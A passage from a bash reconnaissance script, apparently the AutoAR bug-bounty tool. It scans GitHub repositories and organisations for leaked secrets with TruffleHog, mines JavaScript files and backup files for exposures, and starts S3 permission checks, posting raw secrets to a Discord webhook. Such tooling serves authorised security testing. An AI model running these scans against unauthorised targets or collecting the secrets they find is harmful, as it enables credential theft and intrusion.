            generate_github_org_html_report "$org_name" "$temp_json_array" "$html_report" "0"
            
            # Send Discord notification
            if [[ -n "$DISCORD_WEBHOOK" ]]; then
                local message="🔍 **GitHub Organization Scan Results**\n\n"
                message+="**Organization:** \`$org_name\`\n"
                message+="**Secrets found:** \`0\`\n"
                message+="**Time:** \`$(date)\`\n"
                message+="**Status:** \`Clean - No secrets found\`\n"
                message+="**Reports:** \`JSON + HTML attached\`"
                
                local payload=$(cat <<EOF
{
    "content": "$message",
    "username": "GitHub Organization Scanner",
    "avatar_url": "https://github.com/fluidicon.png"
}
EOF
)
                
                curl -s -X POST "$DISCORD_WEBHOOK" \
                    -H "Content-Type: application/json" \
                    -d "$payload" > /dev/null 2>&1 || true
                
                # Send both files
                send_file_to_discord "$temp_json_array" "GitHub Organization Scan Results (JSON) for $org_name - No secrets found"
                send_file_to_discord "$html_report" "GitHub Organization Scan Results (HTML) for $org_name - No secrets found"
            fi
        fi
    else
        error "TruffleHog organization scan failed for $org_name"
    fi
}

# Function to generate HTML report for GitHub organization
generate_github_org_html_report() {
    local org_name="$1"
    local json_file="$2"
    local html_file="$3"
    local secret_count="$4"
    
    cat > "$html_file" <<EOF
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>GitHub Organization Secrets Scan Report - $org_name</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            margin: 0;
            padding: 20px;
            background-color: #f5f5f5;
            line-height: 1.6;
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
            background: white;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            overflow: hidden;
        }
        .header {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            padding: 30px;
            text-align: center;
        }
        .header h1 {
            margin: 0;
            font-size: 2.5em;
        }
        .header p {
            margin: 10px 0 0 0;
            opacity: 0.9;
        }
        .stats {
            display: flex;
            justify-content: space-around;
            padding: 20px;
            background: #f8f9fa;
            border-bottom: 1px solid #e9ecef;
        }
        .stat {
            text-align: center;
        }
        .stat-number {
            font-size: 2em;
            font-weight: bold;
            color: #dc3545;
        }
        .stat-label {
            color: #6c757d;
            font-size: 0.9em;
        }
        .secrets-container {
            padding: 20px;
        }
        .secret-item {
            border: 1px solid #e9ecef;
            border-radius: 6px;
            margin-bottom: 15px;
            overflow: hidden;
        }
        .secret-header {
            background: #fff3cd;
            padding: 15px;
            border-bottom: 1px solid #ffeaa7;
        }
        .secret-detector {
            font-weight: bold;
            color: #856404;
            margin-bottom: 5px;
            font-size: 1.1em;
        }
        .secret-location {
            color: #6c757d;
            font-family: monospace;
            font-size: 0.9em;
        }
        .secret-details {
            padding: 15px;
        }
        .secret-raw {
            background: #f8f9fa;
            padding: 10px;
            border-radius: 4px;
            margin-top: 10px;
            font-family: monospace;
            font-size: 0.85em;
            word-break: break-all;
            border-left: 3px solid #dc3545;
        }
        .secret-meta {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 10px;
            margin-top: 10px;
            font-size: 0.9em;
        }
        .meta-item {
            background: #e9ecef;
            padding: 8px;
            border-radius: 3px;
        }
        .meta-label {
            font-weight: bold;
            color: #495057;
        }
        .verified {
            color: #28a745;
            font-weight: bold;
        }
        .not-verified {
            color: #dc3545;
            font-weight: bold;
        }
        .footer {
            text-align: center;
            padding: 20px;
            color: #6c757d;
            border-top: 1px solid #e9ecef;
        }
        .no-secrets {
            text-align: center;
            padding: 40px;
            color: #28a745;
            font-size: 1.2em;
        }
        .timestamp {
            color: #6c757d;
            font-size: 0.9em;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>🔍 GitHub Organization Secrets Scan Report</h1>
            <p>Organization: <strong>$org_name</strong></p>
            <p class="timestamp">Generated: $(date)</p>
        </div>
        
        <div class="stats">
            <div class="stat">
                <div class="stat-number">$secret_count</div>
                <div class="stat-label">Secrets Found</div>
            </div>
            <div class="stat">
                <div class="stat-number">$(date +%Y-%m-%d)</div>
                <div class="stat-label">Scan Date</div>
            </div>
        </div>
        
        <div class="secrets-container">
EOF

    if [[ "$secret_count" -gt 0 ]]; then
        echo "            <h3>🔐 Secrets Found Across Organization</h3>" >> "$html_file"
        
        # Process each secret from JSON
        jq -r '.[] | @base64' "$json_file" | while read -r secret; do
            local secret_data=$(echo "$secret" | base64 -d)
            local detector=$(echo "$secret_data" | jq -r '.DetectorName // "Unknown"')
            local verified=$(echo "$secret_data" | jq -r '.Verified // false')
            local raw=$(echo "$secret_data" | jq -r '.Raw // "N/A"')
            local redacted=$(echo "$secret_data" | jq -r '.Redacted // "N/A"')
            local file=$(echo "$secret_data" | jq -r '.SourceMetadata.Data.Github.file // "Unknown"')
            local line=$(echo "$secret_data" | jq -r '.SourceMetadata.Data.Github.line // "Unknown"')
            local commit=$(echo "$secret_data" | jq -r '.SourceMetadata.Data.Github.commit // "Unknown"')
            local timestamp=$(echo "$secret_data" | jq -r '.SourceMetadata.Data.Github.timestamp // "Unknown"')
            local link=$(echo "$secret_data" | jq -r '.SourceMetadata.Data.Github.link // "N/A"')
            local account=$(echo "$secret_data" | jq -r '.ExtraData.account // "N/A"')
            local arn=$(echo "$secret_data" | jq -r '.ExtraData.arn // "N/A"')
            local is_canary=$(echo "$secret_data" | jq -r '.ExtraData.is_canary // "false"')
            local repository=$(echo "$secret_data" | jq -r '.SourceMetadata.Data.Github.repository // "Unknown"')
            
            cat >> "$html_file" <<EOF
            <div class="secret-item">
                <div class="secret-header">
                    <div class="secret-detector">$detector</div>
                    <div class="secret-location">Repository: $repository | File: $file (Line: $line)</div>
                </div>
                <div class="secret-details">
                    <div class="secret-raw">
                        <strong>Raw Secret:</strong> $raw
                    </div>
                    <div class="secret-meta">
                        <div class="meta-item">
                            <span class="meta-label">Verified:</span> 
                            <span class="$(if [[ "$verified" == "true" ]]; then echo "verified"; else echo "not-verified"; fi)">$verified</span>
                        </div>
                        <div class="meta-item">
                            <span class="meta-label">Redacted:</span> $redacted
                        </div>
                        <div class="meta-item">
                            <span class="meta-label">Commit:</span> ${commit:0:8}...
                        </div>
                        <div class="meta-item">
                            <span class="meta-label">Timestamp:</span> $timestamp
                        </div>
EOF
            
            if [[ "$account" != "N/A" ]]; then
                echo "                        <div class=\"meta-item\"><span class=\"meta-label\">Account:</span> $account</div>" >> "$html_file"
            fi
            
            if [[ "$arn" != "N/A" ]]; then
                echo "                        <div class=\"meta-item\"><span class=\"meta-label\">ARN:</span> ${arn:0:50}...</div>" >> "$html_file"
            fi
            
            if [[ "$is_canary" == "true" ]]; then
                echo "                        <div class=\"meta-item\"><span class=\"meta-label\">⚠️ Canary Token:</span> Yes</div>" >> "$html_file"
            fi
            
            if [[ "$link" != "N/A" ]]; then
                echo "                        <div class=\"meta-item\"><span class=\"meta-label\">Link:</span> <a href=\"$link\" target=\"_blank\">View in GitHub</a></div>" >> "$html_file"
            fi
            
            echo "                    </div>" >> "$html_file"
            echo "                </div>" >> "$html_file"
            echo "            </div>" >> "$html_file"
        done
    else
        echo '            <div class="no-secrets">✅ No secrets found in this organization</div>' >> "$html_file"
    fi
    
    cat >> "$html_file" <<EOF
        </div>
        
        <div class="footer">
            <p>Generated by AutoAR GitHub Organization Scanner | Powered by TruffleHog</p>
            <p>Scan completed at $(date)</p>
        </div>
    </div>
</body>
</html>
EOF
    
    log SUCCESS "Organization HTML report generated: $html_file"
}

# Function to build a wordlist from an organization's ignore files
github_org_wordlist() {
    local org_name="$1"
    local max_repos="${2:-200}"
    local files_csv="${3:-}"

    if [[ -z "$org_name" ]]; then
        log ERROR "GitHub organization is required"
        return 1
    fi

    # Ensure minimal deps
    if ! command -v curl >/dev/null 2>&1; then
        log ERROR "curl is required for github-wordlist"
        return 1
    fi
    if ! command -v jq >/dev/null 2>&1; then
        log ERROR "jq is required for github-wordlist"
        return 1
    fi

    # Default ignore file names to fetch
    local default_files=(
        ".gitignore" ".git/info/exclude" ".ignore" ".dockerignore" ".eslintignore" ".npmignore" ".slugignore" ".prettierignore" ".stylelintignore" ".pylintignore" ".flakeignore" ".terraformignore"
    )

    local target_files=()
    if [[ -n "$files_csv" ]]; then
        IFS=',' read -r -a target_files <<< "$files_csv"
    else
        target_files=("${default_files[@]}")
    fi

    # Prepare output directories
    local org_dir="$DOMAIN_DIR/org_${org_name}"
    mkdir -p "$org_dir"
    local raw_dir="$org_dir/raw_ignore"
    mkdir -p "$raw_dir"
    local output_wordlist="$org_dir/${org_name}_ignore_wordlist.txt"
    : > "$output_wordlist"

    # GitHub API auth token present?
    local has_token=false
    if [[ -n "$GITHUB_TOKEN" && "$GITHUB_TOKEN" != "null" ]]; then
        has_token=true
    fi

    log INFO "Fetching repositories for org: $org_name (limit: $max_repos)"

    # Collect repos: prefer gh CLI if available, else GitHub REST via curl
    local page=1
    local per_page=100
    local fetched=0
    local repos_json
    local repo_list_file="$org_dir/repos.json"
    : > "$repo_list_file"

    if command -v gh >/dev/null 2>&1; then
        # Ensure gh has token non-interactively
        if [[ "$has_token" == true ]]; then
            export GH_TOKEN="$GITHUB_TOKEN"
            export GITHUB_TOKEN="$GITHUB_TOKEN"
        fi
        # Use gh to avoid pagination and rate-limit headaches
        if ! gh repo list "$org_name" --limit "$max_repos" --json name,defaultBranchRef,isArchived \
            -q '.[] | {name: .name, default_branch: (.defaultBranchRef.name // "main"), archived: (.isArchived // false)}' \
            >> "$repo_list_file" 2>/dev/null; then
            log WARNING "gh repo list failed, falling back to REST API"
        fi
    fi

    if [[ ! -s "$repo_list_file" ]]; then
        # Fallback: REST API with pagination
        while : ; do
            if [[ "$has_token" == true ]]; then
                repos_json=$(curl -s -H "Authorization: token $GITHUB_TOKEN" "https://api.github.com/orgs/$org_name/repos?per_page=$per_page&page=$page")
            else
                repos_json=$(curl -s "https://api.github.com/orgs/$org_name/repos?per_page=$per_page&page=$page")
            fi
            # Break if empty or error
            if [[ -z "$repos_json" ]] || [[ "$repos_json" == "[]" ]]; then
                break
            fi
            # If the response is an error object, stop
            if echo "$repos_json" | jq -e 'type=="object" and .message? != null' >/dev/null 2>&1; then
                log ERROR "GitHub API error: $(echo "$repos_json" | jq -r .message)"
                break
            fi
            echo "$repos_json" | jq -c ".[] | {name: .name, default_branch: (.default_branch // \"main\"), archived: (.archived // false)}" >> "$repo_list_file"
            (( page++ ))
            fetched=$(wc -l < "$repo_list_file")
            if [[ "$fetched" -ge "$max_repos" ]]; then
                break
            fi
        done
    fi

    if [[ ! -s "$repo_list_file" ]]; then
        log WARNING "No repositories found for $org_name"
        return 0
    fi

    # Trim to max_repos
    if [[ $(wc -l < "$repo_list_file") -gt "$max_repos" ]]; then
        head -n "$max_repos" "$repo_list_file" > "$repo_list_file.tmp" && mv "$repo_list_file.tmp" "$repo_list_file"
    fi

    log INFO "Collected $(wc -l < "$repo_list_file") repositories. Fetching ignore files..."

    # Iterate repos and fetch ignore files
    while IFS= read -r repo_line; do
        local repo_name=$(echo "$repo_line" | jq -r '.name')
        local default_branch=$(echo "$repo_line" | jq -r '.default_branch')
        local archived=$(echo "$repo_line" | jq -r '.archived')
        if [[ "$archived" == "true" ]]; then
            continue
        fi

        for rel_path in "${target_files[@]}"; do
            # Normalize path for filesystem
            local safe_path=$(echo "$rel_path" | sed 's#[/ ]#_#g')
            local dest_file="$raw_dir/${repo_name}_${safe_path}"

            # Try with gh first for raw content
            local fetched_ok=false
            if command -v gh >/dev/null 2>&1; then
                if gh api \
                    -H "Accept: application/vnd.github.v3.raw" \
                    "/repos/$org_name/$repo_name/contents/$rel_path?ref=$default_branch" \
                    -o "$dest_file" >/dev/null 2>&1; then
                    if [[ -s "$dest_file" ]] && ! head -n1 "$dest_file" | grep -qiE '404: Not Found|<!DOCTYPE|<html'; then
                        fetched_ok=true
                    else
                        rm -f "$dest_file" 2>/dev/null || true
                    fi
                fi
            fi

            if [[ "$fetched_ok" != true ]]; then
                # Fallback to raw.githubusercontent.com
                local raw_url="https://raw.githubusercontent.com/$org_name/$repo_name/$default_branch/$rel_path"
                local code
                code=$(curl -s -L -w "%{http_code}" -o "$dest_file" "$raw_url" 2>/dev/null || echo 000)
                if [[ "$code" == "200" ]] && [[ -s "$dest_file" ]] && ! head -n1 "$dest_file" | grep -qiE '404: Not Found|<!DOCTYPE|<html'; then
                    fetched_ok=true
                else
                    # Retry with master if main/default failed
                    raw_url="https://raw.githubusercontent.com/$org_name/$repo_name/master/$rel_path"
                    code=$(curl -s -L -w "%{http_code}" -o "$dest_file" "$raw_url" 2>/dev/null || echo 000)
                    if [[ "$code" == "200" ]] && [[ -s "$dest_file" ]] && ! head -n1 "$dest_file" | grep -qiE '404: Not Found|<!DOCTYPE|<html'; then
                        fetched_ok=true
                    else
                        rm -f "$dest_file" 2>/dev/null || true
                    fi
                fi
            fi

            if [[ "$fetched_ok" == true ]]; then
                log INFO "Fetched $rel_path from $repo_name@$default_branch"
            else
                rm -f "$dest_file" 2>/dev/null || true
            fi
        done
    done < "$repo_list_file"

    # Aggregate and sanitize to wordlist
    local temp_agg="$org_dir/_agg.txt"
    : > "$temp_agg"
    if ls "$raw_dir"/* >/dev/null 2>&1; then
        cat "$raw_dir"/* >> "$temp_agg"
    fi

    if [[ ! -s "$temp_agg" ]]; then
        log WARNING "No ignore files found in repos of $org_name"
        if [[ -n "$DISCORD_WEBHOOK" ]]; then
            send_to_discord "No ignore files found for org $org_name"
        fi
        return 0
    fi

    # Clean: remove comments and empty, strip patterns, split tokens
    # 1) Drop comments and empties
    # 2) Remove leading/trailing spaces, leading '!' and '/'
    # 3) Remove glob meta chars
    # 4) Split by '/' and keep segments, also keep cleaned full entry
    local cleaned_lines="$org_dir/_cleaned.txt"
    : > "$cleaned_lines"

    # Produce cleaned entries
    awk 'BEGIN{FS="\n"} {
        line=$0
        gsub(/\r/, "", line)
        if (line ~ /^[[:space:]]*#/ ) next
        gsub(/^!/, "", line)
        gsub(/^[[:space:]]+|[[:space:]]+$/, "", line)
        if (length(line)==0) next
        gsub(/^\//, "", line)
        gsub(/[*?{}\[\]]+/, "", line)
        print line
    }' "$temp_agg" >> "$cleaned_lines"

    # Extract segments and filenames
    local segments_file="$org_dir/_segments.txt"
    : > "$segments_file"
    while IFS= read -r entry; do
        [[ -z "$entry" ]] && continue
        echo "$entry" >> "$segments_file"
        # split by '/'
        IFS='/' read -r -a parts <<< "$entry"
        for part in "${parts[@]}"; do
            [[ -z "$part" ]] && continue
            echo "$part" >> "$segments_file"
        done
    done < "$cleaned_lines"

    # Finalize wordlist: normalize, filter junk (404s/HTML), enforce charset/length, dedupe
    sed 's/^\.\+//; s/\.$//; s/^\s\+//; s/\s\+$//' "$segments_file" \
        | awk 'length($0)>1 && length($0)<=80' \
        | grep -viE '(^| )404(:| )|not found|<!DOCTYPE|^<html|for more about ignoring files|help\.github\.com|ignoring-files' \
        | grep -E '^[A-Za-z0-9._\/-]{1,80}$' \
        | sort -u > "$output_wordlist"

    local total_words=$(wc -l < "$output_wordlist")
    log SUCCESS "Generated wordlist with $total_words entries at $output_wordlist"

    if [[ -n "$DISCORD_WEBHOOK" ]]; then
        send_to_discord "Generated GitHub ignore-based wordlist for org $org_name ($total_words entries)"
        send_file_to_discord "$output_wordlist" "GitHub Org $org_name Ignore Wordlist ($total_words entries)"
    fi
}

# Function to scan GitHub repository for secrets using modern TruffleHog
github_scan() {
    local repo_url="$1"
    local repo_name=$(basename "$repo_url" .git)
    local org_name=$(echo "$repo_url" | sed 's|.*github.com/||' | cut -d'/' -f1)
    
    log INFO "Starting GitHub secrets scan for: $repo_name"
    
    # Create temporary directory for this scan
    local temp_dir="/tmp/github_scan_$$_$repo_name"
    mkdir -p "$temp_dir"
    
    # Clone the repository
    log INFO "Cloning $repo_url..."
    if git clone --depth 1 "$repo_url" "$temp_dir/$repo_name" 2>/dev/null; then
        log SUCCESS "Cloned $repo_name successfully"
        
        # Scan for secrets using modern TruffleHog
        local secrets_file="$temp_dir/${repo_name}_secrets.json"
        log INFO "Scanning for secrets using TruffleHog..."
        
        # Ensure GitHub auth is available to TruffleHog
        export GH_TOKEN="$GITHUB_TOKEN"
        export GITHUB_TOKEN="$GITHUB_TOKEN"
        export TRUFFLEHOG_GITHUB_API_TOKEN="$GITHUB_TOKEN"

        # Use the modern TruffleHog with proper syntax
        if /home/sallam/.local/bin/trufflehog github --repo="$repo_url" --issue-comments --pr-comments --json > "$secrets_file" 2>/dev/null; then
            # Convert newline-delimited JSON to JSON array for counting
            local temp_json_array="$temp_dir/${repo_name}_secrets_array.json"
            if [[ -s "$secrets_file" ]]; then
                # Filter only real findings to avoid info lines
                jq -s '[.[] | select(.DetectorName != null)]' "$secrets_file" > "$temp_json_array" 2>/dev/null || echo "[]" > "$temp_json_array"
            else
                echo "[]" > "$temp_json_array"
            fi
            local secret_count=$(jq length "$temp_json_array" 2>/dev/null || echo "0")
            
            if [[ "$secret_count" -gt 0 ]]; then
                log SUCCESS "Found $secret_count secrets in $repo_name"
                
                # Generate JSON report for Discord
                local json_report="$DOMAIN_DIR/vulnerabilities/github_${repo_name}_secrets.json"
                mkdir -p "$DOMAIN_DIR/vulnerabilities"
                cp "$temp_json_array" "$json_report"
                
                # Generate HTML report
                local html_report="$DOMAIN_DIR/vulnerabilities/github_${repo_name}_secrets.html"
                generate_github_html_report "$repo_name" "$org_name" "$temp_json_array" "$html_report" "$secret_count"
                
                # Send Discord notification with both JSON and HTML files
                if [[ -n "$DISCORD_WEBHOOK" ]]; then
                    local message="🔍 **GitHub Secrets Scan Results**\n\n"
                    message+="**Repository:** \`$repo_name\`\n"
                    message+="**Organization:** \`$org_name\`\n"
                    message+="**Secrets found:** \`$secret_count\`\n"
                    message+="**Time:** \`$(date)\`\n"
                    message+="**Reports:** \`JSON + HTML attached\`\n"
                    
                    # Send initial message
                    local payload=$(cat <<EOF
{
    "content": "$message",
    "username": "GitHub Secrets Scanner",
    "avatar_url": "https://github.com/fluidicon.png"
}
EOF
)
                    
                    curl -s -X POST "$DISCORD_WEBHOOK" \
                        -H "Content-Type: application/json" \
                        -d "$payload" > /dev/null 2>&1 || true
                    
                    # Send JSON file as attachment
                    send_file_to_discord "$json_report" "GitHub Secrets Scan Results (JSON) for $repo_name"
                    
                    # Send HTML file as attachment
                    send_file_to_discord "$html_report" "GitHub Secrets Scan Results (HTML) for $repo_name"
                fi
                
                log SUCCESS "GitHub scan completed for $repo_name - Found $secret_count secrets"
            else
                log INFO "No secrets found in $repo_name"
                
                # Generate empty JSON and HTML reports for no findings
                local json_report="$DOMAIN_DIR/vulnerabilities/github_${repo_name}_secrets.json"
                local html_report="$DOMAIN_DIR/vulnerabilities/github_${repo_name}_secrets.html"
                mkdir -p "$DOMAIN_DIR/vulnerabilities"
                echo "[]" > "$json_report"
                generate_github_html_report "$repo_name" "$org_name" "$json_report" "$html_report" "0"
                
                # Send Discord notification with both reports
                if [[ -n "$DISCORD_WEBHOOK" ]]; then
                    local message="🔍 **GitHub Secrets Scan Results**\n\n"
                    message+="**Repository:** \`$repo_name\`\n"
                    message+="**Organization:** \`$org_name\`\n"
                    message+="**Secrets found:** \`0\`\n"
                    message+="**Time:** \`$(date)\`\n"
                    message+="**Status:** \`Clean - No secrets found\`\n"
                    message+="**Reports:** \`JSON + HTML attached\`"
                    
                    local payload=$(cat <<EOF
{
    "content": "$message",
    "username": "GitHub Secrets Scanner",
    "avatar_url": "https://github.com/fluidicon.png"
}
EOF
)
                    
                    curl -s -X POST "$DISCORD_WEBHOOK" \
                        -H "Content-Type: application/json" \
                        -d "$payload" > /dev/null 2>&1 || true
                    
                    # Send both JSON and HTML files
                    send_file_to_discord "$json_report" "GitHub Secrets Scan Results (JSON) for $repo_name - No secrets found"
                    send_file_to_discord "$html_report" "GitHub Secrets Scan Results (HTML) for $repo_name - No secrets found"
                fi
            fi
        else
            error "TruffleHog scan failed for $repo_name"
        fi
    else
        error "Failed to clone $repo_url"
    fi
    
    # Cleanup temporary directory
    log INFO "Cleaning up temporary directory: $temp_dir"
    rm -rf "$temp_dir"
}

# Function to scan for JS exposures
scan_js_exposures() {
    local domain_dir="$1"
    local js_urls_file="${2:-$domain_dir/urls/js-urls.txt}"
    log INFO "Starting JS Analysis"
    
    if [[ ! -f "$js_urls_file" || ! -s "$js_urls_file" ]]; then
        log WARNING "[-] No JavaScript files found to analyze"
        return
    fi
    
    mkdir -p "$domain_dir/vulnerabilities/js"
    
    local js_count=$(wc -l < "$js_urls_file")
    log SUCCESS "Analyzing $js_count JavaScript files"
    
    local findings=()
    local files_to_send=()
    
    # 1. Find secrets using trufflehog patterns
    log INFO "Running trufflehog scan on JavaScript files"
    cat "$js_urls_file" | jsleak -t regexes/trufflehog-v3.yaml -s -c 20 > "$domain_dir/vulnerabilities/js/trufflehog.txt" 2>/dev/null
    local secrets_count=$(wc -l < "$domain_dir/vulnerabilities/js/trufflehog.txt" 2>/dev/null || echo 0)
    if [[ $secrets_count -gt 0 ]]; then
        findings+=("trufflehog: $secrets_count")
        files_to_send+=("$domain_dir/vulnerabilities/js/trufflehog.txt")
    fi
    
    # 2. Find links and endpoints
    log INFO "Running jsleak scan on JavaScript files"
    cat "$js_urls_file" | jsleak -l -e -c 20 > "$domain_dir/vulnerabilities/js/links.txt" 2>/dev/null
    local links_count=$(wc -l < "$domain_dir/vulnerabilities/js/links.txt" 2>/dev/null || echo 0)
    if [[ $links_count -gt 0 ]]; then
        findings+=("links: $links_count")
        files_to_send+=("$domain_dir/vulnerabilities/js/links.txt")
    fi
    
    # 3. Check active URLs
    log INFO "Running jsleak URLS scan on JavaScript files"
    cat "$js_urls_file" | jsleak -c 20 -k > "$domain_dir/vulnerabilities/js/active-urls.txt" 2>/dev/null
    local active_count=$(wc -l < "$domain_dir/vulnerabilities/js/active-urls.txt" 2>/dev/null || echo 0)
    if [[ $active_count -gt 0 ]]; then
        findings+=("active-urls: $active_count")
        files_to_send+=("$domain_dir/vulnerabilities/js/active-urls.txt")
    fi
    
    # 4. Scan with various regex patterns
    local regex_files=(
        "regexes/confident-regexes.yaml"
        "regexes/nuclei-regexes.yaml"
        "regexes/nuclei-generic.yaml"
        "regexes/pii-regexes.yaml"
        "regexes/risky-regexes.yaml"
        "regexes/rules-regexes.yaml"
    )
    log INFO "Running jsleak regex scan on JavaScript files"
    for regex_file in "${regex_files[@]}"; do
        local filename=$(basename "$regex_file" .yaml)
        cat "$js_urls_file" | jsleak -t "$regex_file" -s -c 20 > "$domain_dir/vulnerabilities/js/$filename.txt" 2>/dev/null
        local count=$(wc -l < "$domain_dir/vulnerabilities/js/$filename.txt" 2>/dev/null || echo 0)
        if [[ $count -gt 0 ]]; then
            findings+=("$filename: $count")
            files_to_send+=("$domain_dir/vulnerabilities/js/$filename.txt")
        fi
    done
    
    # 5. Scan with nuclei
    log INFO "Running nuclei scan on JavaScript files"
    nuclei -l "$js_urls_file" -t nuclei_templates/js/js-exposures.yaml -o "$domain_dir/vulnerabilities/js/nuclei-js.txt" >> "$LOG_FILE" 2>&1
    local nuclei_count=$(wc -l < "$domain_dir/vulnerabilities/js/nuclei-js.txt" 2>/dev/null || echo 0)
    if [[ $nuclei_count -gt 0 ]]; then
        findings+=("nuclei: $nuclei_count")
        files_to_send+=("$domain_dir/vulnerabilities/js/nuclei-js.txt")
    fi
    
    log SUCCESS "JS Analysis Summary:"
    for finding in "${findings[@]}"; do
        log SUCCESS "    $finding"
    done
    
    if [[ -n "$DISCORD_WEBHOOK" && ${#files_to_send[@]} -gt 0 ]]; then
        for file in "${files_to_send[@]}"; do
            if [[ -f "$file" && -s "$file" ]]; then
                local filename=$(basename "$file")
                sort -u -o "$file" "$file"
                send_file_to_discord "$file" "Found Regex Matches in $filename"
            fi
        done
    fi
}

# Function to run JS-only scan
js_scan() {
    local domain="$1"
    local subdomain="$2"
    log INFO "Starting JS-only scan for: ${subdomain:-$domain}"
    
    # Set up results directory
    if [[ -n "$subdomain" ]]; then
        SINGLE_SUBDOMAIN="$subdomain"
        setup_results_dir
        echo "$subdomain" > "$DOMAIN_DIR/subs/all-subs.txt"
        echo "https://$subdomain" > "$DOMAIN_DIR/subs/live-subs.txt"
    else
        setup_results_dir
        subEnum "$domain"
        filter_live_hosts
    fi
    
    # Collect URLs and JS files
    fetch_urls
    
    # Run JS analysis
    scan_js_exposures "$DOMAIN_DIR"
    
    log SUCCESS "JS scan completed for ${subdomain:-$domain}"
    if [[ -n "$DISCORD_WEBHOOK" ]]; then
        send_to_discord "JS scan completed for ${subdomain:-$domain}! Check $DOMAIN_DIR for detailed findings."
    fi
    
    # Schedule cleanup after Discord notifications are sent
    cleanup_results "$DOMAIN_DIR"
}

# Unified Fuzzuli Backup File Discovery Function
run_fuzzuli_backup_scan() {
    local domain="$1"
    local threads="${2:-50}"
    local timeout="${3:-10}"
    local output_dir="${4:-fuzzing}"
    local subs_file="${5:-}"
    
    # Check if fuzzuli is installed
    if ! command -v fuzzuli &> /dev/null; then
        log WARNING "fuzzuli is not installed. Install with: go install github.com/musana/fuzzuli@latest"
        return 1
    fi
    
    log INFO "Starting fuzzuli backup file discovery for: $domain"
    
    # Create output directory
    local fuzz_dir="$DOMAIN_DIR/$output_dir"
    mkdir -p "$fuzz_dir"
    ensure_permissions "$fuzz_dir"
    
    # Check if we have live subdomains file, if not create one
    if [[ -z "$subs_file" || ! -f "$subs_file" || ! -s "$subs_file" ]]; then
        log INFO "No live subdomains file provided, discovering subdomains..."
        subs_file="$fuzz_dir/live-subs.txt"
        
        # Use subfinder to get subdomains and filter with httpx
        log INFO "Discovering subdomains for $domain..."
        subfinder -d "$domain" -silent | httpx -silent -mc 200,301,302,403,404 -o "$subs_file" >> "$LOG_FILE" 2>&1
        
        if [[ ! -s "$subs_file" ]]; then
            log WARNING "No live subdomains found for $domain"
            # Try with just the main domain
            echo "https://$domain" > "$subs_file"
            log INFO "Using main domain only: https://$domain"
        else
            log INFO "Discovered subdomains:"
            cat "$subs_file" | head -5 | while read line; do
                log INFO "  - $line"
            done
        fi
    else
        log INFO "Using provided live subdomains file: $subs_file"
        log INFO "Subdomains to scan:"
        cat "$subs_file" | head -5 | while read line; do
            log INFO "  - $line"
        done
    fi
    
    local subs_count=$(wc -l < "$subs_file")
    log SUCCESS "Found $subs_count live subdomains for backup scanning"
    
    # Run fuzzuli on all live subdomains
    log INFO "Running fuzzuli backup file discovery on $subs_count subdomains"
    log INFO "Subdomains file: $subs_file"
    log INFO "Contents of subdomains file:"
    cat "$subs_file" | while read line; do
        log INFO "  - $line"
    done
    
    local fuzzuli_output="$fuzz_dir/fuzzuli-results.txt"
    local fuzzuli_log="$fuzz_dir/fuzzuli.log"

    # Run fuzzuli with all live subdomains
    log INFO "Executing: fuzzuli -f $subs_file -mt all -w $threads -to $timeout"
    fuzzuli -f "$subs_file" -mt all -w "$threads" -to "$timeout" 2>&1 | tee "$fuzzuli_log"
    
    # Extract findings from the log (lines with [+])
    grep -E "\[\+\].*URL:" "$fuzzuli_log" > "$fuzzuli_output" 2>/dev/null || true
    
    # Check results
    if [[ -s "$fuzzuli_output" ]]; then
        local findings_count=$(wc -l < "$fuzzuli_output")
        log SUCCESS "Fuzzuli scan completed! Found $findings_count potential backup files"
        
        # Show first few findings
        log INFO "Sample findings:"
        head -5 "$fuzzuli_output" | while read line; do
            log INFO "  - $line"
        done
        
        # Send to Discord if webhook is configured
        if [[ -n "$DISCORD_WEBHOOK" ]]; then
            send_file_to_discord "$fuzzuli_output" "Fuzzuli Backup Discovery Results for $domain"
        fi
        
        log SUCCESS "Results saved to: $fuzz_dir"
    else
        log WARNING "No backup files found with fuzzuli"
        log INFO "Fuzzuli log output:"
        if [[ -s "$fuzzuli_log" ]]; then
            tail -10 "$fuzzuli_log" | while read line; do
                log INFO "  $line"
            done
        fi
        if [[ -n "$DISCORD_WEBHOOK" ]]; then
            send_to_discord "Fuzzuli scan completed for $domain - No backup files found"
        fi
    fi
    
    log SUCCESS "Fuzzuli backup scan completed for $domain"
    log INFO "Results saved in: $fuzz_dir"
}

# Backup Scan Mode - Dedicated fuzzuli scanning
backup_scan() {
    local domain="$1"
    local threads="${2:-50}"
    local timeout="${3:-10}"
    
    if [[ -z "$domain" ]]; then
        log ERROR "Error: No domain specified for backup scan"
        return 1
    fi
    
    log INFO "Starting backup file discovery scan for: $domain"
    
    # Check if fuzzuli is installed
    if ! command -v fuzzuli &> /dev/null; then
        log ERROR "fuzzuli is not installed. Install with: go install github.com/musana/fuzzuli@latest"
        log ERROR "Please install fuzzuli before running backup scans"
        exit 1
    fi
    
    # Set up results directory
    TARGET="$domain"
    setup_results_dir
    
    # Run the unified fuzzuli function
    run_fuzzuli_backup_scan "$domain" "$threads" "$timeout" "backup-scan"
    
    # Schedule cleanup after Discord notifications are sent
    cleanup_results "$DOMAIN_DIR"
}

# S3 Bucket Scanning Functions
S3_BUCKET_NAME=""
S3_REGION=""
S3_NO_SIGN_REQUEST=false
S3_TEST_FILE="s3_test_file.txt"
S3_LOCAL_FILE="/tmp/$S3_TEST_FILE"

# Function to check S3 permissions with AWS CLI
check_s3_permission() {
    local perm_name="$1"
    local aws_command="$2"
    log INFO "Checking ${perm_name} permission..."
    if eval "$aws_command" &>/dev/null; then
        log SUCCESS "✅ ${perm_name}: ALLOWED"
        return 0
    else
        log WARNING "❌ ${perm_name}: DENIED"
        return 1
    fi
}

# Function to get all possible S3 URLs for a given bucket/object
get_all_s3_urls() {
    local object="$1"
    local urls=()
    # Virtual-hosted–style (global)
    urls+=("https://${S3_BUCKET_NAME}.s3.amazonaws.com/${object}")
    # Virtual-hosted–style (regional)
    if [[ -n "$S3_REGION" ]]; then
